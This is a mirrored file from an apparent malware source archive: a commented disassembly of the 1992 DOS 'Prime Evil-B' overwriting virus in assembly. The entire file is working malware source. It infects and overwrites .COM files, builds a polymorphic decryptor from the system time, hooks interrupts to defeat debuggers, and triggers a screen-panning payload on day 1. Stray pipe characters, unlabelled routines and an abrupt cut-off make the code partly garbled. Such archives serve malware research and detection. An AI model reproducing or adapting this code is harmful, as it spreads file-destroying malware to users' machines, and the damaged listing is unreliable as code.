mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
1168 lines
40 KiB
NASM
1168 lines
40 KiB
NASM
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comment %
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===============================================================================
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Prime Evil-B Overwriter "Virus" Source
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Disassembled by Cruel Entity of The Funky Pack of CyberPunks
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Notes:
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Interresting programming style... :)
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===============================================================================
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%
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id equ 0DB33h
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dta_filename equ 9Eh
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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prime proc far
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vstart equ $
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start:
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xor bx,bx ; Zero register
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nop
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nop
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nop
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nop
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call decrypt+1 ; decrypt
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nop
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nop
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nop
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db 0ebh,46h ;jump to crypt_beg
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prime endp
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decrypt proc near
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data db 00,53h,0bbh ; push bx
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push sp
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add [bx+si+9090h],dx ; where to decrypt
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nop
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mov cx,70eh ; # of bytes to decrypt
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nop
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nop
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nop
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push cx
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nop
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nop
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nop
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mov al,cs:data
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nop
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nop
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nop
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nop
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decrypt2: nop
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nop
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nop
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xor [bx],al
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nop
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nop
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inc bx
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nop
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nop
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loop decrypt2
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pop cx
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pop bx
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nop
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nop
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nop
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nop
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inc bx
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dec bx
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jz return
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nop
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nop
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nop
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nop
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mov ah,40h
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xchg si,dx
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nop
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nop
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int 21h
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xor bx,bx
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nop
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nop
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nop
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jmp decrypt+1
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return:
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ret
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nop
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db 0e9h,80h,00h ; used to fuck debug
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decrypt endp
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crypt_beg:
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fmask db '*.C*', 0
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message db 'Prime Evil! '
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db '(C) Spellbound, Line Noise 1992.',0dh,0ah
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db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah
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db 'Please spell my name right!$'
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f_size db 0, 0
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f_time dw 0
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f_date dw 0
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data_12 dw 0
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m_seg dw 0 ;memory segment
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int_24h_entry proc far ; this replaces int24
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mov bl,3
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iret ; interrupt return
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int_24h_entry endp
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f_handle dw 0
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int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h
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int_1:
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mov dx,offset int_jmp
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fuck_sr_1:
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mov ax,0fe05h ; hook int 1 and int 3
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jmp fuck_sr_1+1 ; (which fucks debug)
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add ax,0ebfeh
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sub ah,0b1h
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int 21h
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add al,02h
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int 21h
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mov al,0ffh
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out 21h,al
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mov ah,4ah
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mov bx,00c8h
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int 21h
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mov ah,48h
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mov bx,0096h
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int 21h
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mov cs:m_seg,ax ; allocate memory
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mov ax,2524h
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mov dx,offset int_24h_entry
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int 21h ; change int24h
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; set intrpt vector al to ds:dx
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mov ah,2Ah ; get date
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int 21h
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cmp dl,1 ; is it day 1?
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jne not_day1 ; no it isn't
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mov ah,9
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mov dx,offset message ; then display a message
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int 21h ;
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;
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call pan_screen ; and pan the screen
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not_day1:
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mov dx,offset fmask
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mov ah,4Eh
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int 21h ; find 1st .COM file
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jnc found_com ; if no error, move on to
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; found_com
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xor al,al ; no .COM file found
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out 21h,al ; exit to dos
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retn
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found_com:
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mov ax,4300h
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mov dx,dta_filename
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int 21h ; get file attribute
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push cx ; save attrib
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mov ax,4301h
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xor cx,cx
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int 21h ; set attrib to normal
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xor al,al ;
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out 21h,al ; port 21h, 8259-1 int comands
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mov dx,dta_filename
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mov word ptr cs:f_size,dx ; save file size
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mov ax,3D02h
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int 21h ; open file
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jnc opened_ok ; Jump if not error
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jmp find_next ;
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;
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; ^^^ interesting way of solving the error jumping...
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;
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opened_ok:
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mov cs:f_handle,ax ; save file handle
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mov ax,5700h ; get file date/time
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mov bx,cs:f_handle
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int 21h
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jnc get_date_ok ; Jump if no error
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retn ; error when checking
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; file time/date, exit to DOS
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get_date_ok:
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mov cs:f_time,cx ; save file time
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mov cs:f_date,dx ; and file date
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mov ah,3Fh ; read file to memory
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mov cx,70eh ; <- virus size
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push ds ; save data seg
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mov ds,cs:m_seg ; memory segment
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mov dx,0
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int 21h
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push ax ; save bytes
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mov si,0
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lodsw ; String [si] to ax
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xchg ax,si
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pop ax
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pop ds ; restore data seg
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mov word ptr cs:f_size,ax ; save file size
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cmp si,id ; already infected??
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jne readed_ok ; nope...
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jmp already_inf ;
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readed_ok:
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push ds ; save data seg
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mov ds,cs:m_seg ; copy memory seg to ds
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mov es,cs:m_seg ; and es
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xor di,di ;
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xor si,si ;
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mov cx,70eh ; virus size
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mov ah,0F3h ; decryption value
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crypt_file:
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lodsb ; load a byte
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xor al,ah ; decrypt it
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stosb ; and save it
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loop crypt_file
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pop ds ; restore data seg
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mov ax,4200h ; move file ptr.
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xor cx,cx ; to beginning of file
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xor dx,dx
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int 21h
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mov ah,2Ch ; get system time
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int 21h
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xchg dh,al ; second to al
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xor ah,ah ;
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mul cl ; cl * al = ax
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; (min * sec = ax)
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add al,dl ; add al,minutes
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add ax,70eh ; add ax,virulen
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add al,byte ptr cs:[10Eh]
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mov byte ptr cs:[10Eh],al
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call crypt ; decrypt the shit
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push cs ; cs to ds
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pop ds
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mov si,100h
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mov bx,cs:f_handle
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call decrypt+1
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mov ax,4202h ; move file ptr to eof
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mov bx,cs:f_handle
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xor cx,cx
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xor dx,dx
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int 21h
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mov ah,40h ; write original file
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mov cx,word ptr cs:f_size
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push ds ; save data seg
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mov ds,cs:m_seg
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mov dx,0
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int 21h
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pop ds ; restore data seg
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mov ax,5701h ; restore file time/date
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mov cx,cs:f_time
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mov dx,cs:f_date
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int 21h
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jc exit ; exit if error
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mov ah,3Eh ; close file
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int 21h
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pop cx
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mov dx,dta_filename ; restore attrib
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mov ax,4301h
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int 21h
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jmp short exit
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already_inf:
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mov ah,3Eh ; close file
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int 21h
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pop cx ; restore attrib
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mov dx,dta_filename
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mov ax,4301h
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int 21h
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find_next:
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mov ah,4Fh
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int 21h ; find next .COM file
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jc screw ; jump if error
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jmp found_com ; else, do next .COM file
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exit:
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retn ; exit to dos
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screw:
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int 1 ; single step
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retn
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pan_screen proc near ; this routine will scroll
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mov cs:data_12,0 ; the screen and reboot
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loc_15:
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mov bx,cs:data_12 ; lots of messing with the
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mov dx,3D4h ; video ports below...
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mov ah,bh ;
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mov al,0Ch ;
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out dx,ax ; port 3D4h, CGA/EGA reg index
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; al = 0Ch, start address high
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mov ah,bl
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inc al
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out dx,ax ; port 3D4h, CGA/EGA reg index
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; al = 0Dh, start address low
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mov dx,3DAh
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loc_16:
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in al,dx ; port 3DAh, CGA/EGA vid status
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test al,8
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jnz loc_16 ; Jump if not zero
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loc_17:
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in al,dx ; port 3DAh, CGA/EGA vid status
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test al,8
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jz loc_17 ; Jump if zero
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inc cs:data_12
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cmp cs:data_12,50h
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jle loc_15 ; Jump if < or =
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mov cs:data_12,0
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retn
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pan_screen endp
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crypt proc near
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push cs ; move cs to ds and es
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push cs
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pop ds
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pop es
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mov di,113h
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call get_time ; get system time
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cmp dh,0Ah ; if seconds = 0ah
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jb loc_22 ; Jump if below
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cmp dh,14h ; if seconds = 14h
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jb loc_21 ; Jump if below
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cmp dh,1Eh ; if seconds = 1eh
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jb loc_20 ; Jump if below
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cmp dh,28h ; if seconds = 28h
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jb loc_19 ; Jump if below
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cmp dh,32h ; if seconds = 32h
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jb loc_18 ; Jump if below
|
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call write_31h_0c7h ; The stuff below this
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call write_31h_0cfh ; is just for mutating
|
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; some instructions in the
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jmp short loc_23 ; decryptioning routine.
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loc_18: ;
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||
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call write_31h_0ddh
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call write_45h
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|
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call write_4fh
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jmp short loc_23
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loc_19:
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call write_31h_0f7h
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call write_31h_0edh
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jmp short loc_23
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loc_20:
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call write_8dh_3eh_BL_BH
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jmp short loc_23
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loc_21:
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call write_83h_0c7h_DL
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call write_47h
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jmp short loc_23
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loc_22:
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call write_0ebh_0
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call write_31h_0ffh
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loc_23:
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mov di,11Ah
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|
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call get_time
|
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cmp dh,0Ah ; if seconds = 0ah
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jb loc_28 ; Jump if below
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||
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cmp dh,14h ; if seconds = 14h
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jb loc_27 ; Jump if below
|
||
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||
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cmp dh,1Eh ; if seconds = 1eh
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||
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jb loc_26 ; Jump if below
|
||
|
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||
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cmp dh,28h ; if seconds = 28h
|
||
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jb loc_25 ; Jump if below
|
||
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||
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cmp dh,32h ; if seconds = 32h
|
||
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jb loc_24 ; Jump if below
|
||
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||
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call write_31h_0cfh
|
||
|
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call write_45h
|
||
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|
||
|
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jmp short loc_29
|
||
|
|
loc_24:
|
||
|
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call write_47h
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||
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call write_47h
|
||
|
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call write_47h
|
||
|
|
jmp short loc_29
|
||
|
|
loc_25:
|
||
|
|
call write_31h_0c7h
|
||
|
|
call write_45h
|
||
|
|
jmp short loc_29
|
||
|
|
loc_26:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_45h
|
||
|
|
jmp short loc_29
|
||
|
|
loc_27:
|
||
|
|
call write_47h
|
||
|
|
call write_31h_0edh
|
||
|
|
jmp short loc_29
|
||
|
|
loc_28:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
loc_29:
|
||
|
|
mov di,11Eh
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_34 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_33 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_32 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_31 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_30 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0d7h
|
||
|
|
call write_45h
|
||
|
|
|
||
|
|
jmp short loc_35
|
||
|
|
loc_30:
|
||
|
|
call write_31h_0edh
|
||
|
|
call write_45h
|
||
|
|
jmp short loc_35
|
||
|
|
loc_31:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
jmp short loc_35
|
||
|
|
loc_32:
|
||
|
|
call write_0bfh_BL_0bfh
|
||
|
|
jmp short loc_35
|
||
|
|
loc_33:
|
||
|
|
call write_31h_0d5h
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_35
|
||
|
|
loc_34:
|
||
|
|
call write_4fh
|
||
|
|
call write_4fh
|
||
|
|
call write_47h
|
||
|
|
loc_35:
|
||
|
|
mov di,125h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_40 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_39 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_38 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_37 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_36 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0cfh
|
||
|
|
call write_31h_0c7h
|
||
|
|
|
||
|
|
jmp short loc_41
|
||
|
|
loc_36:
|
||
|
|
call write_45h
|
||
|
|
call write_31h_0ddh
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_41
|
||
|
|
loc_37:
|
||
|
|
call write_31h_0ffh
|
||
|
|
call write_31h_0c5h
|
||
|
|
jmp short loc_41
|
||
|
|
loc_38:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_41
|
||
|
|
loc_39:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_41
|
||
|
|
loc_40:
|
||
|
|
call write_31h_0ffh
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_41:
|
||
|
|
mov di,129h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_46 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_45 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_44 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_43 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_42 ; Jump if below
|
||
|
|
|
||
|
|
call write_45h
|
||
|
|
call write_31h_0edh
|
||
|
|
|
||
|
|
jmp short loc_47
|
||
|
|
loc_42:
|
||
|
|
call write_9h_0ffh
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_47
|
||
|
|
loc_43:
|
||
|
|
call write_21h_0efh
|
||
|
|
call write_45h
|
||
|
|
jmp short loc_47
|
||
|
|
loc_44:
|
||
|
|
call write_29h_0efh
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_47
|
||
|
|
loc_45:
|
||
|
|
call write_0bfh_BL_0bfh
|
||
|
|
jmp short loc_47
|
||
|
|
loc_46:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
loc_47:
|
||
|
|
mov di,12Eh
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_52 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_51 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_50 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_49 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_48 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0cfh
|
||
|
|
|
||
|
|
jmp short loc_53
|
||
|
|
loc_48:
|
||
|
|
call write_47h
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_53
|
||
|
|
loc_49:
|
||
|
|
call write_31h_0c5h
|
||
|
|
jmp short loc_53
|
||
|
|
loc_50:
|
||
|
|
call write_29h_0f7h
|
||
|
|
jmp short loc_53
|
||
|
|
loc_51:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
jmp short loc_53
|
||
|
|
loc_52:
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_53:
|
||
|
|
mov di,131h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_58 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_57 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_56 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_55 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_54 ; Jump if below
|
||
|
|
|
||
|
|
call write_29h_0cfh
|
||
|
|
|
||
|
|
jmp short loc_59
|
||
|
|
loc_54:
|
||
|
|
call write_47h
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_59
|
||
|
|
loc_55:
|
||
|
|
call write_31h_0f5h
|
||
|
|
jmp short loc_59
|
||
|
|
loc_56:
|
||
|
|
call write_45h
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_59
|
||
|
|
loc_57:
|
||
|
|
call write_9h_0efh
|
||
|
|
jmp short loc_59
|
||
|
|
loc_58:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_47h
|
||
|
|
loc_59:
|
||
|
|
mov di,137h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_64 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_63 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_62 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_61 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_60 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0c7h
|
||
|
|
call write_31h_0dfh
|
||
|
|
|
||
|
|
jmp short loc_65
|
||
|
|
loc_60:
|
||
|
|
call write_81h_0efh
|
||
|
|
jmp short loc_65
|
||
|
|
loc_61:
|
||
|
|
call write_9h_0ffh
|
||
|
|
call write_21h_0efh
|
||
|
|
jmp short loc_65
|
||
|
|
loc_62:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_65
|
||
|
|
loc_63:
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_21h_0efh
|
||
|
|
jmp short loc_65
|
||
|
|
loc_64:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_65:
|
||
|
|
mov di,13Fh
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_70 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_69 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_68 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_67 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_66 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0d7h
|
||
|
|
call write_29h_0f7h
|
||
|
|
|
||
|
|
jmp short loc_71
|
||
|
|
loc_66:
|
||
|
|
call write_9h_0efh
|
||
|
|
call write_47h
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_71
|
||
|
|
loc_67:
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_31h_0edh
|
||
|
|
jmp short loc_71
|
||
|
|
loc_68:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_71
|
||
|
|
loc_69:
|
||
|
|
call write_31h_0ffh
|
||
|
|
call write_31h_0ffh
|
||
|
|
jmp short loc_71
|
||
|
|
loc_70:
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_71:
|
||
|
|
mov di,147h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_76 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_75 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_74 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_73 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_72 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0c7h
|
||
|
|
|
||
|
|
jmp short loc_77
|
||
|
|
loc_72:
|
||
|
|
call write_4fh
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_77
|
||
|
|
loc_73:
|
||
|
|
call write_21h_0efh
|
||
|
|
jmp short loc_77
|
||
|
|
loc_74:
|
||
|
|
call write_9h_0efh
|
||
|
|
jmp short loc_77
|
||
|
|
loc_75:
|
||
|
|
call write_45h
|
||
|
|
call write_4dh
|
||
|
|
jmp short loc_77
|
||
|
|
loc_76:
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_77:
|
||
|
|
mov di,14Dh
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_82 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_81 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_80 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_79 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_78 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_47h
|
||
|
|
|
||
|
|
jmp short loc_83
|
||
|
|
loc_78:
|
||
|
|
call write_31h_0ddh
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_83
|
||
|
|
loc_79:
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_83
|
||
|
|
loc_80:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
jmp short loc_83
|
||
|
|
loc_81:
|
||
|
|
call write_0bfh_BL_0bfh
|
||
|
|
jmp short loc_83
|
||
|
|
loc_82:
|
||
|
|
call write_47h
|
||
|
|
call write_0ebh_0
|
||
|
|
loc_83:
|
||
|
|
mov di,102h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_88 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_87 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_86 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_85 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_84 ; Jump if below
|
||
|
|
|
||
|
|
call write_31h_0c7h
|
||
|
|
call write_31h_0cfh
|
||
|
|
|
||
|
|
jmp short loc_89
|
||
|
|
loc_84:
|
||
|
|
call write_31h_0ddh
|
||
|
|
call write_45h
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_89
|
||
|
|
loc_85:
|
||
|
|
call write_31h_0f7h
|
||
|
|
call write_31h_0edh
|
||
|
|
jmp short loc_89
|
||
|
|
loc_86:
|
||
|
|
call write_8dh_3eh_BL_BH
|
||
|
|
jmp short loc_89
|
||
|
|
loc_87:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
call write_47h
|
||
|
|
jmp short loc_89
|
||
|
|
loc_88:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_31h_0ffh
|
||
|
|
loc_89:
|
||
|
|
mov di,109h
|
||
|
|
call get_time
|
||
|
|
|
||
|
|
cmp dh,0Ah ; if seconds = 0ah
|
||
|
|
jb loc_94 ;Jump if below
|
||
|
|
|
||
|
|
cmp dh,14h ; if seconds = 14h
|
||
|
|
jb loc_93 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,1Eh ; if seconds = 1eh
|
||
|
|
jb loc_92 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,28h ; if seconds = 28h
|
||
|
|
jb loc_91 ; Jump if below
|
||
|
|
|
||
|
|
cmp dh,32h ; if seconds = 32h
|
||
|
|
jb loc_90 ; Jump if below
|
||
|
|
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_47h
|
||
|
|
|
||
|
|
jmp short loc_ret_95
|
||
|
|
loc_90:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_4fh
|
||
|
|
jmp short loc_ret_95
|
||
|
|
loc_91:
|
||
|
|
call write_47h
|
||
|
|
call write_47h
|
||
|
|
call write_45h
|
||
|
|
jmp short loc_ret_95
|
||
|
|
loc_92:
|
||
|
|
call write_83h_0c7h_DL
|
||
|
|
jmp short loc_ret_95
|
||
|
|
loc_93:
|
||
|
|
call write_47h
|
||
|
|
call write_31h_0ffh
|
||
|
|
jmp short loc_ret_95
|
||
|
|
loc_94:
|
||
|
|
call write_0ebh_0
|
||
|
|
call write_47h
|
||
|
|
|
||
|
|
loc_ret_95:
|
||
|
|
retn
|
||
|
|
crypt endp
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
get_time proc near
|
||
|
|
mov ah,2Ch ; get system time
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
retn
|
||
|
|
get_time endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0c5h proc near
|
||
|
|
mov al,31h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0C5h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0c5h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0ddh proc near
|
||
|
|
mov al,31h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0DDh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0ddh endp
|
||
|
|
|
||
|
|
mov al,31h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0CDh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0d5h proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0D5h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0d5h endp
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0f5h proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0F5h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0f5h endp
|
||
|
|
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0FDh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0edh proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EDh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0edh endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0c7h proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0C7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0c7h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0dfh proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0DFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0dfh endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0cfh proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0CFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0cfh endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0d7h proc near
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0D7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0d7h endp
|
||
|
|
|
||
|
|
mov al,31h ; '1'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
|
||
|
|
write_31h_0f7h proc near
|
||
|
|
mov al,31h
|
||
|
|
stosb ; tore al to es:[di]
|
||
|
|
mov al,0F7h
|
||
|
|
stosb ; tore al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0f7h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_31h_0ffh proc near
|
||
|
|
mov al,31h
|
||
|
|
stosb ; tore al to es:[di]
|
||
|
|
mov al,0FFh
|
||
|
|
stosb ; tore al to es:[di]
|
||
|
|
retn
|
||
|
|
write_31h_0ffh endp
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
write_45h proc near
|
||
|
|
mov al,45h ; 'E'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_45h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_4dh proc near
|
||
|
|
mov al,4Dh ; 'M'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_4dh endp
|
||
|
|
|
||
|
|
write_47h proc near
|
||
|
|
mov al,47h ; 'G'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_47h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_4fh proc near
|
||
|
|
mov al,4Fh ; 'O'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_4fh endp
|
||
|
|
|
||
|
|
|
||
|
|
write_0bfh_BL_0bfh proc near
|
||
|
|
mov al,0BFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,bl
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,al
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_0bfh_BL_0bfh endp
|
||
|
|
|
||
|
|
write_8dh_3eh_BL_BH proc near
|
||
|
|
mov al,8Dh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,3Eh ; '>'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,bl
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,bh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
